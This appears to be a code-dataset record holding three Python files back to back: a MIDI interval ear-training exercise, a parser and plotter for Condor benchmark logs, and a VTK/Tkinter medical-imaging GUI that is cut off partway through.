Lists the sum of correct/total answers with respect to all intervals. = at most twice nested lists of Intervals, e.g. → P5 Lists only the results concerning the P5 interval. → [P4, P5] Lists the results concerning the P4 and P5 interval separately. → [P4, [M3, m3]] Lists the results concerning the P4 interval, and then lists the total results concerning minor and major thirds. → [[P4, P5]] Lists the total results concerning the perfect intervals. → "notes"... = "full" Lists the correct/total ratios for each note stored in the game settings separately. = None (DEFAULT) Lists the sum of correct/total answers with respect to all notes. = at most twice nested lists of MIDInn-s, e.g. → C4 Lists only the results concerning the note C4. → [C4, D4] Lists the results concerning the C4 and D4 notes separately. → [C4, [G3, G4]] Lists the results concerning the C4 note, and then lists the total results concerning both G notes. → [[G3, G4, G5]] Lists the total results concerning the three G notes. → "asc_desc"... = "full" or "+-h" Lists the correct/total ratios for ascending, descending and harmonic intervals separately. = None (DEFAULT) Lists the sum of correct/total answers without discerning ascending, descending or harmonic intervals. = "+"/"-"/"h" Lists the data only for ascending/descending/harmonic intervals respectively. = "m" Lists the data concerning the melodic intervals, e.e. the totals for both ascending and descending ones. = "+-" or "-+" = "+h" or "+h" = "-h" or "h-" = "mh" or "hm" Applies the options corresponding to the above successively. All of the above queries are based on the `normalized_product` iterator. The process of parsing nested lists is explained in the documentation of the this function. See also help-strings for `Score`, `Score.total` and `Game._print_keys`. """ NAME = "Intervals" def __init__(self, *args, **kwargs): self.icset = ic_set_all self.center = A4 self.spread = 12 self.adh = [-1,1] super().__init__(*args, **kwargs) def set_settings(self, intervals=None, center=None, spread=None, adh=None, **settings): self.icset = intervals if intervals is not None else self.icset self.spread = spread if spread is not None else self.spread if center is not None: self.center = MIDInn(center) if adh: self.adh = [] self.adh.append(-1) if "d" in adh else None self.adh.append(0) if "h" in adh else None self.adh.append(1) if "a" in adh else None if not self.adh: self.adh = [-1,1] @property def intervals(self): return self.icset @intervals.setter def intervals(self, ic): self.icset = ic def _reset(self, session_name=None, **settings): dct = {-1: "d", 0: "h", 1: "a"} melo = "".join(sorted([dct[x] for x in self.adh])) super()._reset(session_name, intervals = self.icset, center = self.center, spread = self.spread, adh = melo) def _gen(self): lo, hi = self.center - self.spread, self.center + self.spread ctr = random.randint(lo, hi) itc = random.choice(self.icset) adh = random.choice(self.adh) if adh == 0: # harmonic # The correct answer is the interval measured upwards # Uniformize distribution by switching top note with bottom one # randomly. if random.choice([True, False]): # e.g. 69+5 vs 69-5 ~=~ 64+5. Note 69 is played anyway. ctr-= int(itc) return { "ctr": MIDInn(ctr), "itc": itc, "adh": adh } def _exercise(self, ctr, itc, adh, **data): sgn = -1 if adh == -1 else 1 self.play_notes(ctr, ctr+itc*sgn, (adh == 0)) inp = input(">> ") ans = Interval.from_name(inp) correct = itc return inp, ans, correct @staticmethod def play_notes(note1, note2, simult): # Some human variation for parameters v1 = int(random.triangular(60,120)) v2 = int(random.triangular(60,120)) d1 = int(random.triangular(400,900)) d2 = int(random.triangular(-200,200)) if simult: of = int(random.triangular(0,70,0)) note1,note2 = random.sample([note1,note2],2) else: of = d1+int(random.triangular(-100,500)) ev1 = alsamidi.noteevent(0, int(note1), v1, 0, d1) ev2 = alsamidi.noteevent(0, int(note2), v2, of, d1+d2) # Play sequence alsaseq.start() alsaseq.output(ev1) alsaseq.output(ev2) alsaseq.syncoutput() alsaseq.stop() def _store(self, ok, ctr, itc, adh, **data): sgn = "+" if adh == 1 else "-" if adh == -1 else "h" self._cur_score._store(ok, (ctr,sgn,itc)) def _details(self, score, adh=None, notes=None, **query): # prepare args if "intervals" not in query or query["intervals"]=="full": if "intervals" in score.settings: intervals = list(score.settings["intervals"]) else: intervals = {q[2] for q in score.questions()} intervals = sorted(list(intervals), key = lambda v: v.value) else: intervals = query["intervals"] if notes=="full": notes = {q[0] for q in score.questions()} notes = sorted(list(notes), key = lambda v: v.value) if adh=="full": adh = ["+", "-", "h"] elif adh is not None: if "m" in adh: adh = adh.replace("+","m").replace("-","m") uniq = [] for char in adh: if not char in uniq and char in "+-hm": uniq.append(char) adh = [ ["+", "-"] if e == "m" else e for e in uniq] # prepare names for nn, ad, ic in normalized_product(notes, adh, intervals): namelist = [] mode = ["+","-"] if ad is None else ad isnn = nn is not None and len(nn) == 1 and \ isinstance(nn[0], MIDInn) isic = ic is not None and len(ic) == 1 and \ isinstance(ic[0], Interval) if isnn: namelist += [str(nn[0])] namelist += ["".join(sorted(mode)).replace("+-", "m")] if isic: namelist += [str(ic[0])] name = " ".join(namelist) yield (name, (nn,mode,ic)) def _sum_scores(self, scores): by_val = lambda x: x.value ics = Score.sum_settings_list(scores, "intervals", by_val) ctr = Score.sum_settings_simple(scores, "center") spr = Score.sum_settings_simple(scores, "spread") adh = Score.sum_settings_simple(scores, "adh") return Score.sum_scores(scores, self.name+": Total", intervals=ics, center=ctr, spread=spr, adh=adh)
39.555102
79
0.53947
9,568
0.982845
1,646
0.169081
879
0.090293
0
0
4,918
0.505187
d583e428836551045c331cfd1d586014de193689
9,585
py
Python
condor_parser.py
ASchidler/pace17
755e9d652c7d4d9dd1f71fb508ebf773efee8488
[ "MIT" ]
1
2019-01-15T16:58:03.000Z
2019-01-15T16:58:03.000Z
condor_parser.py
ASchidler/pace17
755e9d652c7d4d9dd1f71fb508ebf773efee8488
[ "MIT" ]
null
null
null
condor_parser.py
ASchidler/pace17
755e9d652c7d4d9dd1f71fb508ebf773efee8488
[ "MIT" ]
null
null
null
import os import sys from collections import defaultdict import re import pandas as pd import matplotlib.pyplot as plt class InstanceResult: """Represents the result of one instance run""" def __init__(self): # General info, name of the instance, run ID, time, memory und time for reductions self.name = None self.run = None self.runtime = 0 self.memory = 0 self.reduce_time = 0 # vertex, edge, terminal count pre and post preprocessing. Only available for TU solver self.v_start = -1 self.e_start = -1 self.t_start = -1 self.v_run = -1 self.e_run = -1 self.t_run = -1 # Result. Does the error file contain st? Out of memory, out of time, solved and what was the result? self.error = False self.mem_out = False self.time_out = False self.solved = False self.result = -1 # Aggregation result. Divergence of numbers self.memory_div = 0 self.runtime_div = 0 class OverallStatistic: def __init__(self): self.solved = 0 self.not_solved = 0 self.runtime = 0 self.memory = 0 self.runtime_div = 0 self.memory_div = 0 self.memory_out = 0 self.runtime_out = 0 self.common_runtime = 0 def parse_watcher(path, instance): """Parses the condor watcher file""" f = open(path, "r") for line in f: if line.startswith("Real time"): instance.runtime = float(line.split(":").pop()) elif line.startswith("Max. virtual"): instance.memory = int(line.split(":").pop()) elif line.startswith("Maximum VSize exceeded"): instance.mem_out = True elif line.startswith("Maximum wall clock time exceeded"): instance.mem_out = True def parse_log(path, instance): """Parses the log file. Depending on the solver there may be more or less information""" f = open(path, "r") is_tu = None def parse_counts(l): m = re.search("([0-9]+) vertices.*?([0-9]+) edges.*?([0-9]+) terminals", l) return int(m.group(1)), int(m.group(2)), int(m.group(3)) for line in f: if is_tu is None: if line.startswith("VALUE"): instance.result = int(line.strip().split(" ").pop()) instance.solved = True break else: is_tu = True if is_tu: if line.startswith("Loaded"): instance.v_start, instance.e_start, instance.t_start = parse_counts(line) elif line.startswith("Solving"): instance.v_run, instance.e_run, instance.t_run = parse_counts(line) elif line.startswith("Reductions completed"): instance.reduce_time = float(line.split(" ").pop()) elif line.startswith("Final solution"): instance.solved = True instance.result = int(line.split(":").pop()) def parse_error(path, instance): """Parses the error file""" instance.error = os.stat(path).st_size > 0 def aggregate_instance(instances): """Multiple runs cause multiple data for an instance to exist. This function aggregates it to one dataset""" cnt = 0 new_instance = InstanceResult() new_instance.run = "All" mem_out = False time_out = False error = False solved = False for inst in instances: new_instance.name = inst.name solved |= inst.solved mem_out |= inst.mem_out time_out |= inst.time_out error |= inst.error if inst.solved: cnt += 1 new_instance.solved = True new_instance.result = inst.result new_instance.v_run, new_instance.e_run, new_instance.t_run = inst.v_run, inst.e_run, inst.t_run new_instance.v_start, new_instance.e_start, new_instance.t_start = inst.v_start, inst.e_start, inst.t_start new_instance.memory += inst.memory new_instance.reduce_time += inst.reduce_time new_instance.runtime += inst.runtime if cnt > 0: new_instance.memory /= cnt new_instance.reduce_time /= cnt new_instance.runtime /= cnt for inst in instances: if inst.solved: new_instance.runtime_div += abs(new_instance.runtime - inst.runtime) new_instance.memory_div += abs(new_instance.memory_div - inst.memory) else: new_instance.time_out = time_out new_instance.mem_out = mem_out new_instance.error = error return new_instance def parse_run(base_path): results = defaultdict(lambda: defaultdict(lambda: InstanceResult())) for subdir, dirs, files in os.walk(base_path): for f in files: if f.endswith(".watcher"): # Run ID is the last directory of the path _, run_no = os.path.split(subdir) # Get the instance name by stripping the .watcher extension parts = f.split(".") parts.pop() instance_name = ".".join(parts) # Set basic information instance = results[instance_name][run_no] instance.name = instance_name instance.run = run_no # Parse watcher file parse_watcher(os.path.join(subdir, f), instance) parse_log(os.path.join(subdir, instance_name + ".txt"), instance) parse_error(os.path.join(subdir, instance_name + ".err"), instance) return results def calc_statistic(run_data): all_stats = dict() aggr_results = dict() inst_results = defaultdict(list) common_instances = defaultdict(lambda: 0) for solver, instances in run_data.items(): stats = OverallStatistic() result_list = [] for name, runs in instances.items(): result_list.append(aggregate_instance(runs.values())) aggr_results[solver] = result_list result_list.sort(key=lambda x: x.name) for instance in result_list: inst_results[instance.name].append(instance) stats.runtime_div += instance.runtime_div stats.memory_div += instance.memory_div stats.runtime += instance.runtime stats.memory += instance.memory if instance.solved: common_instances[instance.name] += 1 stats.solved += 1 else: stats.not_solved += 1 if instance.mem_out: stats.memory_out += 1 elif instance.time_out: stats.runtime_out += 1 all_stats[solver] = stats total = len(all_stats) for solver, instances in aggr_results.items(): for inst in instances: if common_instances[inst.name] == total: all_stats[solver].common_runtime += inst.runtime return all_stats, aggr_results, inst_results def parse_benchmark(base_path): # Find results folder def search_folder(start_path): for new_name in os.listdir(start_path): new_path = os.path.join(start_path, new_name) if os.path.isdir(new_path): if new_name == "results": return new_path else: sub_res = search_folder(new_path) if sub_res is not None: return sub_res return None target_path = search_folder(base_path) results = dict() for benchmark in os.listdir(target_path): benchmark_path = os.path.join(target_path, benchmark) if os.path.isdir(benchmark_path): results[benchmark] = parse_run(benchmark_path) all_stats, aggr_results, inst_results = calc_statistic(results) benchmarks = aggr_results.keys() benchmarks.sort() for benchmark in benchmarks: stats = all_stats[benchmark] print "{}: Completed {}, Not {}, Runtime: {}, Divergence {}".format(benchmark, stats.solved, stats.not_solved, stats.runtime, stats.runtime_div) def parse_results(base_path, targets): results = dict() for name in os.listdir(base_path): if name in targets: full_path = os.path.join(base_path, name) if os.path.isdir(full_path): results[name] = parse_run(full_path) all_stats, aggr_results, _ = calc_statistic(results) results = aggr_results.items() results.sort() frames = [] names = [] for solver, instances in results: vals = [x.runtime for x in instances if x.solved] vals.sort() frames += [pd.DataFrame(vals)] names.append(solver) stats = all_stats[solver] print "{}: Completed {}, Not {}, Runtime: {}, Divergence {}, Common {}"\ .format(solver, stats.solved, stats.not_solved, stats.runtime, stats.runtime_div, stats.common_runtime) frame = pd.concat(frames, ignore_index=True, axis=1) frame.cumsum() ax = frame.plot(style=['bs-', 'ro-', 'y^-', 'g*-'], figsize=(10,5)) ax.legend(names) axes = plt.axes() axes.set_xlabel("instances") axes.set_ylabel("time (s)") axes.set_xlim(100, 200) plt.show() pth = sys.argv[1] trg = {sys.argv[i] for i in range(2, len(sys.argv))} if len(trg) == 1: parse_benchmark(os.path.join(pth, trg.pop())) else: parse_results(sys.argv[1], trg)
32.491525
119
0.592593
1,216
0.126865
0
0
0
0
0
0
1,209
0.126135
d585f8540e934ba68420f975699c9080a2e5b0cd
100,242
py
Python
apps/vtktools/vtkToolsGUI.py
rboman/progs
c60b4e0487d01ccd007bcba79d1548ebe1685655
[ "Apache-2.0" ]
2
2021-12-12T13:26:06.000Z
2022-03-03T16:14:53.000Z
apps/vtktools/vtkToolsGUI.py
rboman/progs
c60b4e0487d01ccd007bcba79d1548ebe1685655
[ "Apache-2.0" ]
5
2019-03-01T07:08:46.000Z
2019-04-28T07:32:42.000Z
apps/vtktools/vtkToolsGUI.py
rboman/progs
c60b4e0487d01ccd007bcba79d1548ebe1685655
[ "Apache-2.0" ]
2
2017-12-13T13:13:52.000Z
2019-03-13T20:08:15.000Z
#! /usr/bin/env python3 # -*- coding: utf-8; -*- # # vtkToolsGUI - VTK/Tk/Python interface by RoBo - modified by vidot # - modified by MM to create a distributable exe independent of Metafor # jan 2019: # F:\src\VTK-7.1.0\Wrapping\Python\vtk\tk\vtkLoadPythonTkWidgets.py # change "vtkCommonCorePython" => "vtk.vtkCommonCorePython" from future import standard_library standard_library.install_aliases() import os.path import os import meshingTools import imagingTools import generalTools import renderingTools import Pmw from vtk.tk.vtkTkImageViewerWidget import * import tkinter.messagebox import tkinter.filedialog from tkinter import * from vtk.tk.vtkTkRenderWindowInteractor import vtkTkRenderWindowInteractor from vtk.tk.vtkTkRenderWidget import * import vtk createExe = True if __name__ == "__main__" and not createExe: import os import sys rcfile = os.environ.get('PYTHONSTARTUP') if os.path.isfile(rcfile): sys.path.append(os.path.dirname(rcfile)) exec(open(rcfile).read()) if 0: # disable warnings! obj = vtk.vtkObject() obj.GlobalWarningDisplayOff() del obj # ---------------------------------------------------------------------- class VtkWindow3DPoly(Frame): def __init__(self, master=None): Frame.__init__(self, master) self.pack(side="top", expand=TRUE, fill=BOTH) self.createWidgets() def createWidgets(self): self.vtkwidget = vtkTkRenderWidget(self, width=600, height=600) self.ren = vtk.vtkRenderer() if createExe: self.ren.SetBackground(1., 1., 1.) else: self.ren.SetBackground(0.2, 0.3, 0.6) self.vtkwidget.GetRenderWindow().AddRenderer(self.ren) self.vtkwidget.pack(side="top", expand=TRUE, fill=BOTH) title = Label(self, text='3D View') title.pack(side="top", expand=FALSE, fill=BOTH) def view(self, polydata, scalarsOn=False, edgesOn=False, colorMap='GrayScale'): actor = renderingTools.createGridActor( polydata, showScalar=scalarsOn, showEdges=edgesOn, colorMap=colorMap) self.ren.AddActor(actor) if scalarsOn: propT = vtk.vtkTextProperty() propT.ItalicOff() propT.BoldOff() propT.SetColor(0., 0., 0.) propT.SetFontFamilyToArial() propT.SetFontSize(50) scalarBar = vtk.vtkScalarBarActor() scalarBar.SetLookupTable(actor.GetMapper().GetLookupTable()) scalars = polydata.GetPointData().GetScalars() if scalars == None: scalars = polydata.GetPointData().GetArray(0) if scalars == None: scalars = polydata.GetCellData().GetScalars() scalarBar.SetTitle(scalars.GetName()) scalarBar.SetTitleTextProperty(propT) scalarBar.SetLabelTextProperty(propT) self.ren.AddActor2D(scalarBar) outline = renderingTools.createOutlineActor(polydata) self.ren.AddActor(outline) axes = vtk.vtkCubeAxesActor2D() axes.SetCamera(self.ren.GetActiveCamera()) axes.SetViewProp(outline) self.ren.AddActor(axes) self.ren.ResetCamera() cam1 = self.ren.GetActiveCamera() cam1.Elevation(-70) cam1.SetViewUp(0, 0, 1) cam1.Azimuth(30) self.ren.ResetCameraClippingRange() self.vtkwidget.Render() class VtkWindow3DPolyCut(Frame): def __init__(self, master=None): Frame.__init__(self, master) self.pack(side="top", expand=TRUE, fill=BOTH) self.createWidgets() master.protocol("WM_DELETE_WINDOW", self.quitcallback) def createWidgets(self): self.ren = vtk.vtkRenderer() self.ren.SetBackground(1., 1., 1.) self.renWin = vtk.vtkRenderWindow() self.renWin.AddRenderer(self.ren) self.vtkwidget = vtkTkRenderWindowInteractor( self, rw=self.renWin, width=600, height=600) self.vtkwidget.pack(side="top", expand=TRUE, fill=BOTH) title = Label(self, text='3D View') title.pack(side="top", expand=FALSE, fill=BOTH) def viewClip(self, polydata, scalarsOn=False, edgesOn=False, colorMap='GrayScale'): iren = self.vtkwidget.GetRenderWindow().GetInteractor() # tyrackball par defaut iren.SetInteractorStyle(vtk.vtkInteractorStyleTrackballCamera()) global plane, cutActor, clipActor plane = vtk.vtkPlane() bounds = polydata.GetBounds() plane.SetOrigin((bounds[0]+bounds[1])/2., (bounds[2]+bounds[3])/2., (bounds[4]+bounds[5])/2.) [cutActor, clipActor] = renderingTools.createClipActor( polydata, plane, showScalar=scalarsOn, showEdges=edgesOn, colorMap=colorMap) def planeWidgetCallback(obj, event): obj.GetPlane(plane) cutActor.VisibilityOn() clipActor.VisibilityOn() self.planeWidget = renderingTools.createPlaneWidget(polydata) self.planeWidget.AddObserver("InteractionEvent", planeWidgetCallback) self.planeWidget.SetInteractor(iren) self.planeWidget.On() self.ren.AddActor(cutActor) self.ren.AddActor(clipActor) if scalarsOn: propT = vtk.vtkTextProperty() propT.ItalicOff() propT.BoldOff() propT.SetColor(0., 0., 0.) propT.SetFontSize(20) scalarBar = vtk.vtkScalarBarActor() scalarBar.SetLookupTable(clipActor.GetMapper().GetLookupTable()) scalars = polydata.GetPointData().GetScalars() if scalars == None: scalars = polydata.GetPointData().GetArray(0) if scalars == None: scalars = polydata.GetCellData().GetScalars() scalarBar.SetTitle(scalars.GetName()) scalarBar.SetTitleTextProperty(propT) scalarBar.SetLabelTextProperty(propT) self.ren.AddActor2D(scalarBar) outline = renderingTools.createOutlineActor(polydata) self.ren.AddActor(outline) axes = vtk.vtkCubeAxesActor2D() axes.SetCamera(self.ren.GetActiveCamera()) axes.SetViewProp(outline) self.ren.AddActor(axes) self.ren.ResetCamera() cam1 = self.ren.GetActiveCamera() cam1.Elevation(-70) cam1.SetViewUp(0, 0, 1) cam1.Azimuth(30) self.ren.ResetCameraClippingRange() self.vtkwidget.Render() def quitcallback(self): del self.ren del self.renWin # vtk veut qu'on vire ce truc avant fermeture del self.vtkwidget del self.planeWidget self.master.destroy() # ---------------------------------------------------------------------- class VtkWindow3Planes(Frame): def __init__(self, master=None): Frame.__init__(self, master) self.pack(side="top", expand=TRUE, fill=BOTH) self.createWidgets() master.protocol("WM_DELETE_WINDOW", self.quitcallback) def createWidgets(self): self.ren = vtk.vtkRenderer() if createExe: self.ren.SetBackground(1., 1., 1.) else: self.ren.SetBackground(0.2, 0.3, 0.6) self.renWin = vtk.vtkRenderWindow() self.renWin.AddRenderer(self.ren) self.vtkwidget = vtkTkRenderWindowInteractor( self, rw=self.renWin, width=600, height=600) self.vtkwidget.pack(side="top", expand=TRUE, fill=BOTH) title = Label(self, text='3 Planes View') title.pack(side="top", expand=FALSE, fill=BOTH) def view(self, image, window, level): self.planeWidgetX, self.planeWidgetY, self.planeWidgetZ = renderingTools.create3Planes( image) iren = self.vtkwidget.GetRenderWindow().GetInteractor() # tyrackball par defaut iren.SetInteractorStyle(vtk.vtkInteractorStyleTrackballCamera()) self.planeWidgetX.SetInteractor(iren) self.planeWidgetX.On() self.planeWidgetY.SetInteractor(iren) self.planeWidgetY.On() self.planeWidgetZ.SetInteractor(iren) self.planeWidgetZ.On() # apres le "on" (un seul suffit!) self.planeWidgetZ.SetWindowLevel(window, level) outline = renderingTools.createOutlineActor(image) self.ren.AddActor(outline) axes = vtk.vtkCubeAxesActor2D() axes.SetCamera(self.ren.GetActiveCamera()) axes.SetViewProp(outline) self.ren.AddActor(axes) self.ren.ResetCamera() cam1 = self.ren.GetActiveCamera() cam1.Elevation(-70) cam1.SetViewUp(0, 0, 1) cam1.Azimuth(30) self.ren.ResetCameraClippingRange() self.vtkwidget.Render() def quitcallback(self): del self.ren del self.renWin # vtk veut qu'on vire ce truc avant fermeture del self.vtkwidget del self.planeWidgetX del self.planeWidgetY del self.planeWidgetZ self.master.destroy() # ---------------------------------------------------------------------- def CheckAbort(obj, event): if obj.GetEventPending() != 0: obj.SetAbortRender(1) class ClipCallBack: def __init__(self, planes, volumeMapper): self.planes = planes self.volumeMapper = volumeMapper def callback(self, obj, event): obj.GetPlanes(self.planes) self.volumeMapper.SetClippingPlanes(self.planes) class InteractionCallBack: def __init__(self, renWin): self.renWin = renWin def start(self, obj, event): self.renWin.SetDesiredUpdateRate(10) def end(self, obj, event): self.renWin.SetDesiredUpdateRate(0.001) # ---------------------------------------------------------------------- class VtkWindowVolumic(Frame): def __init__(self, master=None): Frame.__init__(self, master) self.pack(side="top", expand=TRUE, fill=BOTH) self.createWidgets() master.protocol("WM_DELETE_WINDOW", self.quitcallback) def createWidgets(self): self.ren = vtk.vtkRenderer() if createExe: self.ren.SetBackground(1., 1., 1.) else: self.ren.SetBackground(0.2, 0.3, 0.6) self.renWin = vtk.vtkRenderWindow() self.renWin.AddRenderer(self.ren) self.vtkwidget = vtkTkRenderWindowInteractor( self, rw=self.renWin, width=600, height=600) self.vtkwidget.pack(side="top", expand=TRUE, fill=BOTH) title = Label(self, text='Volumic View') title.pack(side="top", expand=FALSE, fill=BOTH) def view(self, image): iren = self.vtkwidget.GetRenderWindow().GetInteractor() # tyrackball par defaut iren.SetInteractorStyle(vtk.vtkInteractorStyleTrackballCamera()) image = generalTools.castImage(image, 'uchar') volume, self.volumeMapper = renderingTools.createVolume(image) self.ren.AddVolume(volume) self.planes = vtk.vtkPlanes() outline = renderingTools.createOutlineActor(image) self.ren.AddActor(outline) self.boxWidget = renderingTools.createBoxWidget(image, iren) self.clip_cb = ClipCallBack(self.planes, self.volumeMapper) self.boxWidget.AddObserver("InteractionEvent", self.clip_cb.callback) self.inter_cb = InteractionCallBack(self.renWin) self.boxWidget.AddObserver( "StartInteractionEvent", self.inter_cb.start) self.boxWidget.AddObserver("EndInteractionEvent", self.inter_cb.end) self.renWin.AddObserver("AbortCheckEvent", CheckAbort) self.ren.ResetCamera() cam1 = self.ren.GetActiveCamera() cam1.Elevation(-70) cam1.SetViewUp(0, 0, 1) cam1.Azimuth(30) self.ren.ResetCameraClippingRange() self.vtkwidget.Render() def StartInteraction(self, obj, event): self.renWin.SetDesiredUpdateRate(10) def EndInteraction(obj, event): self.renWin.SetDesiredUpdateRate(0.001) def ClipVolumeRender(obj, event): obj.GetPlanes(self.planes) self.volumeMapper.SetClippingPlanes(self.planes) def quitcallback(self): del self.ren del self.renWin # vtk veut qu'on vire ce truc avant fermeture del self.planes del self.clip_cb del self.inter_cb del self.boxWidget del self.vtkwidget self.master.destroy() # ---------------------------------------------------------------------- class VtkWindow2D(Frame): def __init__(self, master=None, size=(600, 600), range=(0, 50)): Frame.__init__(self, master) self.pack() self.createWidgets(size, range) master.protocol("WM_DELETE_WINDOW", self.quitcallback) def createWidgets(self, size, range): vtkwidget = vtkTkImageViewerWidget(self, width=size[0], height=size[1]) vtkwidget.pack(side="top", expand=1) self.viewer = vtkwidget.GetImageViewer() self.scale = Scale(self, orient=HORIZONTAL, length=200, from_=range[0], to=range[1], tickinterval=(range[1]-range[0])/4, font=('Helvetica', 8), command=self.selectSlice) self.scale.pack() title = Label(self, text='2D View') title.pack() def selectSlice(self, val): self.viewer.SetZSlice(self.scale.get()) self.viewer.Render() def view(self, image, sliceno, window, level): self.viewer.SetInput(image) self.viewer.SetZSlice(sliceno) self.viewer.SetColorWindow(window) self.viewer.SetColorLevel(level) self.viewer.Render() self.scale.set(sliceno) def quitcallback(self): del self.viewer # vtk veut qu'on vire ce truc avant fermeture self.master.destroy() # ---------------------------------------------------------------------- class MainWindow: def __init__(self, master): master.protocol("WM_DELETE_WINDOW", self.quitCallback) self.master = master self.status = StringVar() self.createMenu() self.createPages() self.createStatusBar() self.loadConfig() self.status.set("Ready.") def createPages(self): notebook = Pmw.NoteBook(self.master) notebook.pack(fill=BOTH, expand=YES, padx=4, pady=2) # Add the "Imaging" page to the notebook. page = notebook.add('Imaging') self.imagingPage = ImagingFrame(page, self.status, self) self.imagingPage.pack(fill=BOTH, expand=YES) # Add the "Polydata" page to the notebook. page = notebook.add('Polydata') self.polydataPage = PolyDataFrame(page, self.status, self) self.polydataPage.pack(fill=BOTH, expand=YES) # Add the "Ugrid" page to the notebook. page = notebook.add('Ugrid') self.ugridPage = UgridFrame(page, self.status) self.ugridPage.pack(fill=BOTH, expand=YES) notebook.tab('Imaging').focus_set() notebook.setnaturalsize() def createMenu(self): menu = Menu(self.master) self.master.config(menu=menu) filemenu = Menu(menu) menu.add_cascade(label="File", menu=filemenu) filemenu.add_command(label="Load parameters", command=self.askLoadConfig) filemenu.add_command(label="Save parameters", command=self.askSaveConfig) filemenu.add_command(label="Quit", command=self.quitCallback) helpmenu = Menu(menu) menu.add_cascade(label="Help", menu=helpmenu) helpmenu.add_command(label="Help", command=self.showHelp) helpmenu.add_command(label="About", command=self.aboutCallback) def createStatusBar(self): # status bar statusFrame = Frame(self.master, borderwidth=1) # , background="red") statusFrame.pack(fill=X, expand=NO) Label(statusFrame, textvariable=self.status, bd=1, relief=SUNKEN, anchor=W).pack(fill=X, expand=YES, pady=2, padx=2) def quitCallback(self): # if tkMessageBox.askokcancel("Quit","Are you sure?"): self.saveConfig() self.master.destroy() def aboutCallback(self): Pmw.aboutversion('2.1') Pmw.aboutcopyright('Copyright LTAS-MN2L 2013\nAll rights reserved') Pmw.aboutcontact( 'For information about this application contact:\n' + ' Romain BOMAN\n' + ' Phone: +32 4 366 91 85\n' + ' email: r.boman@ulg.ac.be' ) self.about = Pmw.AboutDialog(self.master, applicationname='VTK GUI') self.about.show() def saveConfig(self, filename='ImagingGUI.cfg'): file = open(filename, 'w') if file: self.imagingPage.saveConfig('imagingPage', file) self.polydataPage.saveConfig('polydataPage', file) file.close() def loadConfig(self, filename='ImagingGUI.cfg'): try: file = open(filename, 'r') if file: for line in file: exec(line) file.close() except: pass self.imagingPage.loadConfig() self.polydataPage.loadConfig() def setPolydata(self, poly): self.polydataPage.setPolydata(poly) def setUgrid(self, ugrid): self.ugridPage.setUgrid(ugrid) def askLoadConfig(self): fname = tkinter.filedialog.Open( filetypes=[('Config file', '*.cfg'), ('All Files', '*.*')]).show() if fname: self.loadConfig(fname) self.status.set("Config loaded from %s." % fname) else: self.status.set("Canceled.") def askSaveConfig(self): fname = tkinter.filedialog.SaveAs( filetypes=[('Config file', '*.cfg')]).show() if fname: self.saveConfig(fname) self.status.set("Config saved to %s." % fname) else: self.status.set("Canceled.") def showHelp(self): message = """ - ne pas manipuler des fichiers avec des espaces dans le nom - lorsqu'on double-clique sur un dialog, le clic est transmis à la fenêtre en dessous!""" Pmw.MessageDialog(self.master, title="Help", buttons=('Close',), message_text=message, message_justify='left', icon_bitmap='info', iconpos='w') # ---------------------------------------------------------------------- class ImagingFrame(Frame): def __init__(self, master, status, mainW): Frame.__init__(self, master) self.mainW = mainW self.status = status self.balloon = Pmw.Balloon(master) # aide "ballon" self.image = None # image self.vtkwin = None # fenetre VTK self.datadir = '../../geniso/data/' self.lastloaddir = '.' self.lastsavedir = '.' self.createWidgets() def createDataFrame(self): frame1 = Frame(self, bd=1, relief=GROOVE) frame1.pack(fill=X, expand=NO) Label(frame1, text="Image Data", bg='gray', fg='black').pack( expand=YES, fill=X, padx=2, pady=2) frame2 = Frame(frame1) frame2.pack(fill=X, expand=NO) # la colonne 2 (vide) va pouvoir s'agrandir frame2.columnconfigure(2, weight=1) nrow = 0 # first line label = Label(frame2, text="filename") label.grid(row=nrow, column=0, padx=5, pady=2, sticky=W) self.balloon.bind(label, "filename of the image") self.filename = StringVar() self.filename.set('') self.fnameField = Pmw.ScrolledField(frame2, entry_width=30, entry_relief=GROOVE, text=self.filename.get()) self.fnameField.grid(row=nrow, column=1, padx=5, pady=2, columnspan=2, sticky=NSEW) nrow = nrow+1 # next line label = Label(frame2, text="extent") label.grid(row=nrow, column=0, padx=5, pady=2, sticky=W) self.balloon.bind(label, "image resolution = number of voxels (x,y,z)") self.extx1 = IntVar() self.extx1.set(0) self.extx2 = IntVar() self.extx2.set(255) self.exty1 = IntVar() self.exty1.set(0) self.exty2 = IntVar() self.exty2.set(255) self.extz1 = IntVar() self.extz1.set(0) self.extz2 = IntVar() self.extz2.set(59) frame = Frame(frame2) frame.grid(row=nrow, column=1, padx=5, pady=2, sticky=NSEW) Entry(frame, textvariable=self.extx1, width=6).pack(side=LEFT) Entry(frame, textvariable=self.extx2, width=6).pack(side=LEFT) Entry(frame, textvariable=self.exty1, width=6).pack(side=LEFT) Entry(frame, textvariable=self.exty2, width=6).pack(side=LEFT) Entry(frame, textvariable=self.extz1, width=6).pack(side=LEFT) Entry(frame, textvariable=self.extz2, width=6).pack(side=LEFT) nrow = nrow+1 # next line label = Label(frame2, text="spacing") label.grid(row=nrow, column=0, padx=5, pady=2, sticky=W) self.balloon.bind(label, "size of the voxels (x,y,z)") self.sx = DoubleVar() self.sx.set(0.9375) self.sy = DoubleVar() self.sy.set(0.9375) self.sz = DoubleVar() self.sz.set(2.5) frame = Frame(frame2) frame.grid(row=nrow, column=1, padx=5, pady=2, sticky=NSEW) Entry(frame, textvariable=self.sx, width=6).pack(side=LEFT) Entry(frame, textvariable=self.sy, width=6).pack(side=LEFT) Entry(frame, textvariable=self.sz, width=6).pack(side=LEFT) nrow = nrow+1 # next line label = Label(frame2, text="coding") label.grid(row=nrow, column=0, padx=5, pady=2, sticky=W) self.balloon.bind(label, "size/type of the data") frame = Frame(frame2) frame.grid(row=nrow, column=1, padx=5, pady=2, sticky=NSEW) self.coding = StringVar() self.coding.set('uchar') self.codingCombo = Pmw.ComboBox(frame, scrolledlist_items=("uchar", "ushort", "short", "double"), listheight=100, selectioncommand=self.codingCallBack, dropdown=True) self.codingCombo.pack(side=LEFT) self.codingCombo.selectitem('uchar') nrow = nrow+1 # next line label = Label(frame2, text="byteorder") label.grid(row=nrow, column=0, padx=5, pady=2, sticky=W) self.balloon.bind( label, "type of the computer (PC/Compaq=little endian ; Sun=big endian)") frame = Frame(frame2) frame.grid(row=nrow, column=1, padx=5, pady=2, sticky=NSEW) self.byteorder = StringVar() but1 = Radiobutton(frame, text='little', variable=self.byteorder, value='little') but1.pack(side=LEFT) but2 = Radiobutton(frame, text='big', variable=self.byteorder, value='big') but2.pack(side=LEFT) but1.select() nrow = nrow+1 # next line label = Label(frame2, text="scalar range") label.grid(row=nrow, column=0, padx=5, pady=2, 